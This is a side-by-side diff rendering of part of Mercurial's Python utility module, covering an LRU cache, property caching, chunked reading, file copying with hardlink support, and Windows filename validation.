1302 | # At capacity. Kill the old entry. | |
1296 | if node.key is not _notset: |
|
1303 | if node.key is not _notset: | |
1297 | del self._cache[node.key] |
|
1304 | del self._cache[node.key] | |
1298 |
|
1305 | |||
1299 | node.key = k |
|
1306 | node.key = k | |
1300 | node.value = v |
|
1307 | node.value = v | |
1301 | self._cache[k] = node |
|
1308 | self._cache[k] = node | |
1302 | # And mark it as newest entry. No need to adjust order since it |
|
1309 | # And mark it as newest entry. No need to adjust order since it | |
1303 | # is already self._head.prev. |
|
1310 | # is already self._head.prev. | |
1304 | self._head = node |
|
1311 | self._head = node | |
1305 |
|
1312 | |||
1306 | def __delitem__(self, k): |
|
1313 | def __delitem__(self, k): | |
1307 | node = self._cache.pop(k) |
|
1314 | node = self._cache.pop(k) | |
1308 | node.markempty() |
|
1315 | node.markempty() | |
1309 |
|
1316 | |||
1310 | # Temporarily mark as newest item before re-adjusting head to make |
|
1317 | # Temporarily mark as newest item before re-adjusting head to make | |
1311 | # this node the oldest item. |
|
1318 | # this node the oldest item. | |
1312 | self._movetohead(node) |
|
1319 | self._movetohead(node) | |
1313 | self._head = node.next |
|
1320 | self._head = node.next | |
1314 |
|
1321 | |||
1315 | # Additional dict methods. |
|
1322 | # Additional dict methods. | |
1316 |
|
1323 | |||
1317 | def get(self, k, default=None): |
|
1324 | def get(self, k, default=None): | |
1318 | try: |
|
1325 | try: | |
1319 | return self._cache[k].value |
|
1326 | return self._cache[k].value | |
1320 | except KeyError: |
|
1327 | except KeyError: | |
1321 | return default |
|
1328 | return default | |
1322 |
|
1329 | |||
1323 | def clear(self): |
|
1330 | def clear(self): | |
1324 | n = self._head |
|
1331 | n = self._head | |
1325 | while n.key is not _notset: |
|
1332 | while n.key is not _notset: | |
1326 | n.markempty() |
|
1333 | n.markempty() | |
1327 | n = n.next |
|
1334 | n = n.next | |
1328 |
|
1335 | |||
1329 | self._cache.clear() |
|
1336 | self._cache.clear() | |
1330 |
|
1337 | |||
1331 | def copy(self): |
|
1338 | def copy(self): | |
1332 | result = lrucachedict(self._capacity) |
|
1339 | result = lrucachedict(self._capacity) | |
1333 | n = self._head.prev |
|
1340 | n = self._head.prev | |
1334 | # Iterate in oldest-to-newest order, so the copy has the right ordering |
|
1341 | # Iterate in oldest-to-newest order, so the copy has the right ordering | |
1335 | for i in range(len(self._cache)): |
|
1342 | for i in range(len(self._cache)): | |
1336 | result[n.key] = n.value |
|
1343 | result[n.key] = n.value | |
1337 | n = n.prev |
|
1344 | n = n.prev | |
1338 | return result |
|
1345 | return result | |
1339 |
|
1346 | |||
1340 | def _movetohead(self, node): |
|
1347 | def _movetohead(self, node): | |
1341 | """Mark a node as the newest, making it the new head. |
|
1348 | """Mark a node as the newest, making it the new head. | |
1342 |
|
1349 | |||
1343 | When a node is accessed, it becomes the freshest entry in the LRU |
|
1350 | When a node is accessed, it becomes the freshest entry in the LRU | |
1344 | list, which is denoted by self._head. |
|
1351 | list, which is denoted by self._head. | |
1345 |
|
1352 | |||
1346 | Visually, let's make ``N`` the new head node (* denotes head): |
|
1353 | Visually, let's make ``N`` the new head node (* denotes head): | |
1347 |
|
1354 | |||
1348 | previous/oldest <-> head <-> next/next newest |
|
1355 | previous/oldest <-> head <-> next/next newest | |
1349 |
|
1356 | |||
1350 | ----<->--- A* ---<->----- |
|
1357 | ----<->--- A* ---<->----- | |
1351 | | | |
|
1358 | | | | |
1352 | E <-> D <-> N <-> C <-> B |
|
1359 | E <-> D <-> N <-> C <-> B | |
1353 |
|
1360 | |||
1354 | To: |
|
1361 | To: | |
1355 |
|
1362 | |||
1356 | ----<->--- N* ---<->----- |
|
1363 | ----<->--- N* ---<->----- | |
1357 | | | |
|
1364 | | | | |
1358 | E <-> D <-> C <-> B <-> A |
|
1365 | E <-> D <-> C <-> B <-> A | |
1359 |
|
1366 | |||
1360 | This requires the following moves: |
|
1367 | This requires the following moves: | |
1361 |
|
1368 | |||
1362 | C.next = D (node.prev.next = node.next) |
|
1369 | C.next = D (node.prev.next = node.next) | |
1363 | D.prev = C (node.next.prev = node.prev) |
|
1370 | D.prev = C (node.next.prev = node.prev) | |
1364 | E.next = N (head.prev.next = node) |
|
1371 | E.next = N (head.prev.next = node) | |
1365 | N.prev = E (node.prev = head.prev) |
|
1372 | N.prev = E (node.prev = head.prev) | |
1366 | N.next = A (node.next = head) |
|
1373 | N.next = A (node.next = head) | |
1367 | A.prev = N (head.prev = node) |
|
1374 | A.prev = N (head.prev = node) | |
1368 | """ |
|
1375 | """ | |
1369 | head = self._head |
|
1376 | head = self._head | |
1370 | # C.next = D |
|
1377 | # C.next = D | |
1371 | node.prev.next = node.next |
|
1378 | node.prev.next = node.next | |
1372 | # D.prev = C |
|
1379 | # D.prev = C | |
1373 | node.next.prev = node.prev |
|
1380 | node.next.prev = node.prev | |
1374 | # N.prev = E |
|
1381 | # N.prev = E | |
1375 | node.prev = head.prev |
|
1382 | node.prev = head.prev | |
1376 | # N.next = A |
|
1383 | # N.next = A | |
1377 | # It is tempting to do just "head" here, however if node is |
|
1384 | # It is tempting to do just "head" here, however if node is | |
1378 | # adjacent to head, this will do bad things. |
|
1385 | # adjacent to head, this will do bad things. | |
1379 | node.next = head.prev.next |
|
1386 | node.next = head.prev.next | |
1380 | # E.next = N |
|
1387 | # E.next = N | |
1381 | node.next.prev = node |
|
1388 | node.next.prev = node | |
1382 | # A.prev = N |
|
1389 | # A.prev = N | |
1383 | node.prev.next = node |
|
1390 | node.prev.next = node | |
1384 |
|
1391 | |||
1385 | self._head = node |
|
1392 | self._head = node | |
1386 |
|
1393 | |||
1387 | def _addcapacity(self): |
|
1394 | def _addcapacity(self): | |
1388 | """Add a node to the circular linked list. |
|
1395 | """Add a node to the circular linked list. | |
1389 |
|
1396 | |||
1390 | The new node is inserted before the head node. |
|
1397 | The new node is inserted before the head node. | |
1391 | """ |
|
1398 | """ | |
1392 | head = self._head |
|
1399 | head = self._head | |
1393 | node = _lrucachenode() |
|
1400 | node = _lrucachenode() | |
1394 | head.prev.next = node |
|
1401 | head.prev.next = node | |
1395 | node.prev = head.prev |
|
1402 | node.prev = head.prev | |
1396 | node.next = head |
|
1403 | node.next = head | |
1397 | head.prev = node |
|
1404 | head.prev = node | |
1398 | self._size += 1 |
|
1405 | self._size += 1 | |
1399 | return node |
|
1406 | return node | |
1400 |
|
1407 | |||
1401 | def lrucachefunc(func): |
|
1408 | def lrucachefunc(func): | |
1402 | '''cache most recent results of function calls''' |
|
1409 | '''cache most recent results of function calls''' | |
1403 | cache = {} |
|
1410 | cache = {} | |
1404 | order = collections.deque() |
|
1411 | order = collections.deque() | |
1405 | if func.__code__.co_argcount == 1: |
|
1412 | if func.__code__.co_argcount == 1: | |
1406 | def f(arg): |
|
1413 | def f(arg): | |
1407 | if arg not in cache: |
|
1414 | if arg not in cache: | |
1408 | if len(cache) > 20: |
|
1415 | if len(cache) > 20: | |
1409 | del cache[order.popleft()] |
|
1416 | del cache[order.popleft()] | |
1410 | cache[arg] = func(arg) |
|
1417 | cache[arg] = func(arg) | |
1411 | else: |
|
1418 | else: | |
1412 | order.remove(arg) |
|
1419 | order.remove(arg) | |
1413 | order.append(arg) |
|
1420 | order.append(arg) | |
1414 | return cache[arg] |
|
1421 | return cache[arg] | |
1415 | else: |
|
1422 | else: | |
1416 | def f(*args): |
|
1423 | def f(*args): | |
1417 | if args not in cache: |
|
1424 | if args not in cache: | |
1418 | if len(cache) > 20: |
|
1425 | if len(cache) > 20: | |
1419 | del cache[order.popleft()] |
|
1426 | del cache[order.popleft()] | |
1420 | cache[args] = func(*args) |
|
1427 | cache[args] = func(*args) | |
1421 | else: |
|
1428 | else: | |
1422 | order.remove(args) |
|
1429 | order.remove(args) | |
1423 | order.append(args) |
|
1430 | order.append(args) | |
1424 | return cache[args] |
|
1431 | return cache[args] | |
1425 |
|
1432 | |||
1426 | return f |
|
1433 | return f | |
1427 |
|
1434 | |||
1428 | class propertycache(object): |
|
1435 | class propertycache(object): | |
1429 | def __init__(self, func): |
|
1436 | def __init__(self, func): | |
1430 | self.func = func |
|
1437 | self.func = func | |
1431 | self.name = func.__name__ |
|
1438 | self.name = func.__name__ | |
1432 | def __get__(self, obj, type=None): |
|
1439 | def __get__(self, obj, type=None): | |
1433 | result = self.func(obj) |
|
1440 | result = self.func(obj) | |
1434 | self.cachevalue(obj, result) |
|
1441 | self.cachevalue(obj, result) | |
1435 | return result |
|
1442 | return result | |
1436 |
|
1443 | |||
1437 | def cachevalue(self, obj, value): |
|
1444 | def cachevalue(self, obj, value): | |
1438 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
|
1445 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) | |
1439 | obj.__dict__[self.name] = value |
|
1446 | obj.__dict__[self.name] = value | |
1440 |
|
1447 | |||
1441 | def clearcachedproperty(obj, prop): |
|
1448 | def clearcachedproperty(obj, prop): | |
1442 | '''clear a cached property value, if one has been set''' |
|
1449 | '''clear a cached property value, if one has been set''' | |
1443 | if prop in obj.__dict__: |
|
1450 | if prop in obj.__dict__: | |
1444 | del obj.__dict__[prop] |
|
1451 | del obj.__dict__[prop] | |
1445 |
|
1452 | |||
1446 | def increasingchunks(source, min=1024, max=65536): |
|
1453 | def increasingchunks(source, min=1024, max=65536): | |
1447 | '''return no less than min bytes per chunk while data remains, |
|
1454 | '''return no less than min bytes per chunk while data remains, | |
1448 | doubling min after each chunk until it reaches max''' |
|
1455 | doubling min after each chunk until it reaches max''' | |
1449 | def log2(x): |
|
1456 | def log2(x): | |
1450 | if not x: |
|
1457 | if not x: | |
1451 | return 0 |
|
1458 | return 0 | |
1452 | i = 0 |
|
1459 | i = 0 | |
1453 | while x: |
|
1460 | while x: | |
1454 | x >>= 1 |
|
1461 | x >>= 1 | |
1455 | i += 1 |
|
1462 | i += 1 | |
1456 | return i - 1 |
|
1463 | return i - 1 | |
1457 |
|
1464 | |||
1458 | buf = [] |
|
1465 | buf = [] | |
1459 | blen = 0 |
|
1466 | blen = 0 | |
1460 | for chunk in source: |
|
1467 | for chunk in source: | |
1461 | buf.append(chunk) |
|
1468 | buf.append(chunk) | |
1462 | blen += len(chunk) |
|
1469 | blen += len(chunk) | |
1463 | if blen >= min: |
|
1470 | if blen >= min: | |
1464 | if min < max: |
|
1471 | if min < max: | |
1465 | min = min << 1 |
|
1472 | min = min << 1 | |
1466 | nmin = 1 << log2(blen) |
|
1473 | nmin = 1 << log2(blen) | |
1467 | if nmin > min: |
|
1474 | if nmin > min: | |
1468 | min = nmin |
|
1475 | min = nmin | |
1469 | if min > max: |
|
1476 | if min > max: | |
1470 | min = max |
|
1477 | min = max | |
1471 | yield ''.join(buf) |
|
1478 | yield ''.join(buf) | |
1472 | blen = 0 |
|
1479 | blen = 0 | |
1473 | buf = [] |
|
1480 | buf = [] | |
1474 | if buf: |
|
1481 | if buf: | |
1475 | yield ''.join(buf) |
|
1482 | yield ''.join(buf) | |
1476 |
|
1483 | |||
1477 | def always(fn): |
|
1484 | def always(fn): | |
1478 | return True |
|
1485 | return True | |
1479 |
|
1486 | |||
1480 | def never(fn): |
|
1487 | def never(fn): | |
1481 | return False |
|
1488 | return False | |
1482 |
|
1489 | |||
1483 | def nogc(func): |
|
1490 | def nogc(func): | |
1484 | """disable garbage collector |
|
1491 | """disable garbage collector | |
1485 |
|
1492 | |||
1486 | Python's garbage collector triggers a GC each time a certain number of |
|
1493 | Python's garbage collector triggers a GC each time a certain number of | |
1487 | container objects (the number being defined by gc.get_threshold()) are |
|
1494 | container objects (the number being defined by gc.get_threshold()) are | |
1488 | allocated even when marked not to be tracked by the collector. Tracking has |
|
1495 | allocated even when marked not to be tracked by the collector. Tracking has | |
1489 | no effect on when GCs are triggered, only on what objects the GC looks |
|
1496 | no effect on when GCs are triggered, only on what objects the GC looks | |
1490 | into. As a workaround, disable GC while building complex (huge) |
|
1497 | into. As a workaround, disable GC while building complex (huge) | |
1491 | containers. |
|
1498 | containers. | |
1492 |
|
1499 | |||
1493 | This garbage collector issue have been fixed in 2.7. But it still affect |
|
1500 | This garbage collector issue have been fixed in 2.7. But it still affect | |
1494 | CPython's performance. |
|
1501 | CPython's performance. | |
1495 | """ |
|
1502 | """ | |
1496 | def wrapper(*args, **kwargs): |
|
1503 | def wrapper(*args, **kwargs): | |
1497 | gcenabled = gc.isenabled() |
|
1504 | gcenabled = gc.isenabled() | |
1498 | gc.disable() |
|
1505 | gc.disable() | |
1499 | try: |
|
1506 | try: | |
1500 | return func(*args, **kwargs) |
|
1507 | return func(*args, **kwargs) | |
1501 | finally: |
|
1508 | finally: | |
1502 | if gcenabled: |
|
1509 | if gcenabled: | |
1503 | gc.enable() |
|
1510 | gc.enable() | |
1504 | return wrapper |
|
1511 | return wrapper | |
1505 |
|
1512 | |||
1506 | if pycompat.ispypy: |
|
1513 | if pycompat.ispypy: | |
1507 | # PyPy runs slower with gc disabled |
|
1514 | # PyPy runs slower with gc disabled | |
1508 | nogc = lambda x: x |
|
1515 | nogc = lambda x: x | |
1509 |
|
1516 | |||
1510 | def pathto(root, n1, n2): |
|
1517 | def pathto(root, n1, n2): | |
1511 | '''return the relative path from one place to another. |
|
1518 | '''return the relative path from one place to another. | |
1512 | root should use os.sep to separate directories |
|
1519 | root should use os.sep to separate directories | |
1513 | n1 should use os.sep to separate directories |
|
1520 | n1 should use os.sep to separate directories | |
1514 | n2 should use "/" to separate directories |
|
1521 | n2 should use "/" to separate directories | |
1515 | returns an os.sep-separated path. |
|
1522 | returns an os.sep-separated path. | |
1516 |
|
1523 | |||
1517 | If n1 is a relative path, it's assumed it's |
|
1524 | If n1 is a relative path, it's assumed it's | |
1518 | relative to root. |
|
1525 | relative to root. | |
1519 | n2 should always be relative to root. |
|
1526 | n2 should always be relative to root. | |
1520 | ''' |
|
1527 | ''' | |
1521 | if not n1: |
|
1528 | if not n1: | |
1522 | return localpath(n2) |
|
1529 | return localpath(n2) | |
1523 | if os.path.isabs(n1): |
|
1530 | if os.path.isabs(n1): | |
1524 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
|
1531 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: | |
1525 | return os.path.join(root, localpath(n2)) |
|
1532 | return os.path.join(root, localpath(n2)) | |
1526 | n2 = '/'.join((pconvert(root), n2)) |
|
1533 | n2 = '/'.join((pconvert(root), n2)) | |
1527 | a, b = splitpath(n1), n2.split('/') |
|
1534 | a, b = splitpath(n1), n2.split('/') | |
1528 | a.reverse() |
|
1535 | a.reverse() | |
1529 | b.reverse() |
|
1536 | b.reverse() | |
1530 | while a and b and a[-1] == b[-1]: |
|
1537 | while a and b and a[-1] == b[-1]: | |
1531 | a.pop() |
|
1538 | a.pop() | |
1532 | b.pop() |
|
1539 | b.pop() | |
1533 | b.reverse() |
|
1540 | b.reverse() | |
1534 | return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
|
1541 | return pycompat.ossep.join((['..'] * len(a)) + b) or '.' | |
1535 |
|
1542 | |||
1536 | # the location of data files matching the source code |
|
1543 | # the location of data files matching the source code | |
1537 | if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
|
1544 | if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': | |
1538 | # executable version (py2exe) doesn't support __file__ |
|
1545 | # executable version (py2exe) doesn't support __file__ | |
1539 | datapath = os.path.dirname(pycompat.sysexecutable) |
|
1546 | datapath = os.path.dirname(pycompat.sysexecutable) | |
1540 | else: |
|
1547 | else: | |
1541 | datapath = os.path.dirname(pycompat.fsencode(__file__)) |
|
1548 | datapath = os.path.dirname(pycompat.fsencode(__file__)) | |
1542 |
|
1549 | |||
1543 | i18n.setdatapath(datapath) |
|
1550 | i18n.setdatapath(datapath) | |
1544 |
|
1551 | |||
1545 | def checksignature(func): |
|
1552 | def checksignature(func): | |
1546 | '''wrap a function with code to check for calling errors''' |
|
1553 | '''wrap a function with code to check for calling errors''' | |
1547 | def check(*args, **kwargs): |
|
1554 | def check(*args, **kwargs): | |
1548 | try: |
|
1555 | try: | |
1549 | return func(*args, **kwargs) |
|
1556 | return func(*args, **kwargs) | |
1550 | except TypeError: |
|
1557 | except TypeError: | |
1551 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
|
1558 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: | |
1552 | raise error.SignatureError |
|
1559 | raise error.SignatureError | |
1553 | raise |
|
1560 | raise | |
1554 |
|
1561 | |||
1555 | return check |
|
1562 | return check | |
1556 |
|
1563 | |||
1557 | # a whilelist of known filesystems where hardlink works reliably |
|
1564 | # a whilelist of known filesystems where hardlink works reliably | |
1558 | _hardlinkfswhitelist = { |
|
1565 | _hardlinkfswhitelist = { | |
1559 | 'apfs', |
|
1566 | 'apfs', | |
1560 | 'btrfs', |
|
1567 | 'btrfs', | |
1561 | 'ext2', |
|
1568 | 'ext2', | |
1562 | 'ext3', |
|
1569 | 'ext3', | |
1563 | 'ext4', |
|
1570 | 'ext4', | |
1564 | 'hfs', |
|
1571 | 'hfs', | |
1565 | 'jfs', |
|
1572 | 'jfs', | |
1566 | 'NTFS', |
|
1573 | 'NTFS', | |
1567 | 'reiserfs', |
|
1574 | 'reiserfs', | |
1568 | 'tmpfs', |
|
1575 | 'tmpfs', | |
1569 | 'ufs', |
|
1576 | 'ufs', | |
1570 | 'xfs', |
|
1577 | 'xfs', | |
1571 | 'zfs', |
|
1578 | 'zfs', | |
1572 | } |
|
1579 | } | |
1573 |
|
1580 | |||
1574 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
|
1581 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): | |
1575 | '''copy a file, preserving mode and optionally other stat info like |
|
1582 | '''copy a file, preserving mode and optionally other stat info like | |
1576 | atime/mtime |
|
1583 | atime/mtime | |
1577 |
|
1584 | |||
1578 | checkambig argument is used with filestat, and is useful only if |
|
1585 | checkambig argument is used with filestat, and is useful only if | |
1579 | destination file is guarded by any lock (e.g. repo.lock or |
|
1586 | destination file is guarded by any lock (e.g. repo.lock or | |
1580 | repo.wlock). |
|
1587 | repo.wlock). | |
1581 |
|
1588 | |||
1582 | copystat and checkambig should be exclusive. |
|
1589 | copystat and checkambig should be exclusive. | |
1583 | ''' |
|
1590 | ''' | |
1584 | assert not (copystat and checkambig) |
|
1591 | assert not (copystat and checkambig) | |
1585 | oldstat = None |
|
1592 | oldstat = None | |
1586 | if os.path.lexists(dest): |
|
1593 | if os.path.lexists(dest): | |
1587 | if checkambig: |
|
1594 | if checkambig: | |
1588 | oldstat = checkambig and filestat.frompath(dest) |
|
1595 | oldstat = checkambig and filestat.frompath(dest) | |
1589 | unlink(dest) |
|
1596 | unlink(dest) | |
1590 | if hardlink: |
|
1597 | if hardlink: | |
1591 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
|
1598 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks | |
1592 | # unless we are confident that dest is on a whitelisted filesystem. |
|
1599 | # unless we are confident that dest is on a whitelisted filesystem. | |
1593 | try: |
|
1600 | try: | |
1594 | fstype = getfstype(os.path.dirname(dest)) |
|
1601 | fstype = getfstype(os.path.dirname(dest)) | |
1595 | except OSError: |
|
1602 | except OSError: | |
1596 | fstype = None |
|
1603 | fstype = None | |
1597 | if fstype not in _hardlinkfswhitelist: |
|
1604 | if fstype not in _hardlinkfswhitelist: | |
1598 | hardlink = False |
|
1605 | hardlink = False | |
1599 | if hardlink: |
|
1606 | if hardlink: | |
1600 | try: |
|
1607 | try: | |
1601 | oslink(src, dest) |
|
1608 | oslink(src, dest) | |
1602 | return |
|
1609 | return | |
1603 | except (IOError, OSError): |
|
1610 | except (IOError, OSError): | |
1604 | pass # fall back to normal copy |
|
1611 | pass # fall back to normal copy | |
1605 | if os.path.islink(src): |
|
1612 | if os.path.islink(src): | |
1606 | os.symlink(os.readlink(src), dest) |
|
1613 | os.symlink(os.readlink(src), dest) | |
1607 | # copytime is ignored for symlinks, but in general copytime isn't needed |
|
1614 | # copytime is ignored for symlinks, but in general copytime isn't needed | |
1608 | # for them anyway |
|
1615 | # for them anyway | |
1609 | else: |
|
1616 | else: | |
1610 | try: |
|
1617 | try: | |
1611 | shutil.copyfile(src, dest) |
|
1618 | shutil.copyfile(src, dest) | |
1612 | if copystat: |
|
1619 | if copystat: | |
1613 | # copystat also copies mode |
|
1620 | # copystat also copies mode | |
1614 | shutil.copystat(src, dest) |
|
1621 | shutil.copystat(src, dest) | |
1615 | else: |
|
1622 | else: | |
1616 | shutil.copymode(src, dest) |
|
1623 | shutil.copymode(src, dest) | |
1617 | if oldstat and oldstat.stat: |
|
1624 | if oldstat and oldstat.stat: | |
1618 | newstat = filestat.frompath(dest) |
|
1625 | newstat = filestat.frompath(dest) | |
1619 | if newstat.isambig(oldstat): |
|
1626 | if newstat.isambig(oldstat): | |
1620 | # stat of copied file is ambiguous to original one |
|
1627 | # stat of copied file is ambiguous to original one | |
1621 | advanced = ( |
|
1628 | advanced = ( | |
1622 | oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
|
1629 | oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff | |
1623 | os.utime(dest, (advanced, advanced)) |
|
1630 | os.utime(dest, (advanced, advanced)) | |
1624 | except shutil.Error as inst: |
|
1631 | except shutil.Error as inst: | |
1625 | raise error.Abort(str(inst)) |
|
1632 | raise error.Abort(str(inst)) | |
1626 |
|
1633 | |||
1627 | def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): |
|
1634 | def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): | |
1628 | """Copy a directory tree using hardlinks if possible.""" |
|
1635 | """Copy a directory tree using hardlinks if possible.""" | |
1629 | num = 0 |
|
1636 | num = 0 | |
1630 |
|
1637 | |||
1631 | gettopic = lambda: hardlink and _('linking') or _('copying') |
|
1638 | gettopic = lambda: hardlink and _('linking') or _('copying') | |
1632 |
|
1639 | |||
1633 | if os.path.isdir(src): |
|
1640 | if os.path.isdir(src): | |
1634 | if hardlink is None: |
|
1641 | if hardlink is None: | |
1635 | hardlink = (os.stat(src).st_dev == |
|
1642 | hardlink = (os.stat(src).st_dev == | |
1636 | os.stat(os.path.dirname(dst)).st_dev) |
|
1643 | os.stat(os.path.dirname(dst)).st_dev) | |
1637 | topic = gettopic() |
|
1644 | topic = gettopic() | |
1638 | os.mkdir(dst) |
|
1645 | os.mkdir(dst) | |
1639 | for name, kind in listdir(src): |
|
1646 | for name, kind in listdir(src): | |
1640 | srcname = os.path.join(src, name) |
|
1647 | srcname = os.path.join(src, name) | |
1641 | dstname = os.path.join(dst, name) |
|
1648 | dstname = os.path.join(dst, name) | |
1642 | def nprog(t, pos): |
|
1649 | def nprog(t, pos): | |
1643 | if pos is not None: |
|
1650 | if pos is not None: | |
1644 | return progress(t, pos + num) |
|
1651 | return progress(t, pos + num) | |
1645 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) |
|
1652 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) | |
1646 | num += n |
|
1653 | num += n | |
1647 | else: |
|
1654 | else: | |
1648 | if hardlink is None: |
|
1655 | if hardlink is None: | |
1649 | hardlink = (os.stat(os.path.dirname(src)).st_dev == |
|
1656 | hardlink = (os.stat(os.path.dirname(src)).st_dev == | |
1650 | os.stat(os.path.dirname(dst)).st_dev) |
|
1657 | os.stat(os.path.dirname(dst)).st_dev) | |
1651 | topic = gettopic() |
|
1658 | topic = gettopic() | |
1652 |
|
1659 | |||
1653 | if hardlink: |
|
1660 | if hardlink: | |
1654 | try: |
|
1661 | try: | |
1655 | oslink(src, dst) |
|
1662 | oslink(src, dst) | |
1656 | except (IOError, OSError): |
|
1663 | except (IOError, OSError): | |
1657 | hardlink = False |
|
1664 | hardlink = False | |
1658 | shutil.copy(src, dst) |
|
1665 | shutil.copy(src, dst) | |
1659 | else: |
|
1666 | else: | |
1660 | shutil.copy(src, dst) |
|
1667 | shutil.copy(src, dst) | |
1661 | num += 1 |
|
1668 | num += 1 | |
1662 | progress(topic, num) |
|
1669 | progress(topic, num) | |
1663 | progress(topic, None) |
|
1670 | progress(topic, None) | |
1664 |
|
1671 | |||
1665 | return hardlink, num |
|
1672 | return hardlink, num | |
1666 |
|
1673 | |||
1667 | _winreservednames = { |
|
1674 | _winreservednames = { | |
1668 | 'con', 'prn', 'aux', 'nul', |
|
1675 | 'con', 'prn', 'aux', 'nul', | |
1669 | 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9', |
|
1676 | 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9', | |
1670 | 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9', |
|
1677 | 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9', | |
1671 | } |
|
1678 | } | |
1672 | _winreservedchars = ':*?"<>|' |
|
1679 | _winreservedchars = ':*?"<>|' | |
1673 | def checkwinfilename(path): |
|
1680 | def checkwinfilename(path): | |
1674 | r'''Check that the base-relative path is a valid filename on Windows. |
|
1681 | r'''Check that the base-relative path is a valid filename on Windows. | |
1675 | Returns None if the path is ok, or a UI string describing the problem. |
|
1682 | Returns None if the path is ok, or a UI string describing the problem. | |
1676 |
|
1683 | |||
1677 | >>> checkwinfilename(b"just/a/normal/path") |
|
1684 | >>> checkwinfilename(b"just/a/normal/path") | |
1678 | >>> checkwinfilename(b"foo/bar/con.xml") |
|
1685 | >>> checkwinfilename(b"foo/bar/con.xml") | |
1679 | "filename contains 'con', which is reserved on Windows" |
|
1686 | "filename contains 'con', which is reserved on Windows" | |
1680 | >>> checkwinfilename(b"foo/con.xml/bar") |
|
1687 | >>> checkwinfilename(b"foo/con.xml/bar") | |
1681 | "filename contains 'con', which is reserved on Windows" |
|
1688 | "filename contains 'con', which is reserved on Windows" | |
1682 | >>> checkwinfilename(b"foo/bar/xml.con") |
|
1689 | >>> checkwinfilename(b"foo/bar/xml.con") | |
1683 | >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
|
1690 | >>> checkwinfilename(b"foo/bar/AUX/bla.txt") | |
1684 | "filename contains 'AUX', which is reserved on Windows" |
|
1691 | "filename contains 'AUX', which is reserved on Windows" | |
1685 | >>> checkwinfilename(b"foo/bar/bla:.txt") |
|
1692 | >>> checkwinfilename(b"foo/bar/bla:.txt") | |
1686 | "filename contains ':', which is reserved on Windows" |
|
1693 | "filename contains ':', which is reserved on Windows" | |
1687 | >>> checkwinfilename(b"foo/bar/b\07la.txt") |
|
1694 | >>> checkwinfilename(b"foo/bar/b\07la.txt") | |
1688 | "filename contains '\\x07', which is invalid on Windows" |
|
1695 | "filename contains '\\x07', which is invalid on Windows" | |
1689 | >>> checkwinfilename(b"foo/bar/bla ") |
|
1696 | >>> checkwinfilename(b"foo/bar/bla ") | |
1690 | "filename ends with ' ', which is not allowed on Windows" |
|
1697 | "filename ends with ' ', which is not allowed on Windows" | |
1691 | >>> checkwinfilename(b"../bar") |
|
1698 | >>> checkwinfilename(b"../bar") | |
1692 | >>> checkwinfilename(b"foo\\") |
|
1699 | >>> checkwinfilename(b"foo\\") | |
1693 | "filename ends with '\\', which is invalid on Windows" |
|
1700 | "filename ends with '\\', which is invalid on Windows" | |
1694 | >>> checkwinfilename(b"foo\\/bar") |
|
1701 | >>> checkwinfilename(b"foo\\/bar") | |
1695 | "directory name ends with '\\', which is invalid on Windows" |
|
1702 | "directory name ends with '\\', which is invalid on Windows" | |
1696 | ''' |
|
1703 | ''' | |
1697 | if path.endswith('\\'): |
|
1704 | if path.endswith('\\'): | |
1698 | return _("filename ends with '\\', which is invalid on Windows") |
|
1705 | return _("filename ends with '\\', which is invalid on Windows") | |
1699 | if '\\/' in path: |
|
1706 | if '\\/' in path: | |
1700 | return _("directory name ends with '\\', which is invalid on Windows") |
|
1707 | return _("directory name ends with '\\', which is invalid on Windows") | |
1701 | for n in path.replace('\\', '/').split('/'): |
|
1708 | for n in path.replace('\\', '/').split('/'): | |
1702 | if not n: |
|
1709 | if not n: | |
1703 | continue |
|
1710 | continue | |
1704 | for c in _filenamebytestr(n): |
|
1711 | for c in _filenamebytestr(n): | |
1705 | if c in _winreservedchars: |
|
1712 | if c in _winreservedchars: | |
1706 | return _("filename contains '%s', which is reserved " |
|
1713 | return _("filename contains '%s', which is reserved " | |
1707 | "on Windows") % c |
|
1714 | "on Windows") % c | |
1708 | if ord(c) <= 31: |
|
1715 | if ord(c) <= 31: | |
1709 | return _("filename contains '%s', which is invalid " |
|
1716 | return _("filename contains '%s', which is invalid " | |
1710 | "on Windows") % stringutil.escapestr(c) |
|
1717 | "on Windows") % stringutil.escapestr(c) | |
1711 | base = n.split('.')[0] |
|
1718 | base = n.split('.')[0] | |
1712 | if base and base.lower() in _winreservednames: |
|
1719 | if base and base.lower() in _winreservednames: | |
1713 | return _("filename contains '%s', which is reserved " |
|
1720 | return _("filename contains '%s', which is reserved " | |
1714 | "on Windows") % base |
|
1721 | "on Windows") % base | |
1715 | t = n[-1:] |
|
1722 | t = n[-1:] | |
1716 | if t in '. ' and n not in '..': |
|
1723 | if t in '. ' and n not in '..': | |
1717 | return _("filename ends with '%s', which is not allowed " |
|
1724 | return _("filename ends with '%s', which is not allowed " | |
1718 | "on Windows") % t |
|
1725 | "on Windows") % t | |
1719 |
|
1726 | |||
1720 | if pycompat.iswindows: |
|
1727 | if pycompat.iswindows: | |
1721 | checkosfilename = checkwinfilename |
|
1728 | checkosfilename = checkwinfilename | |
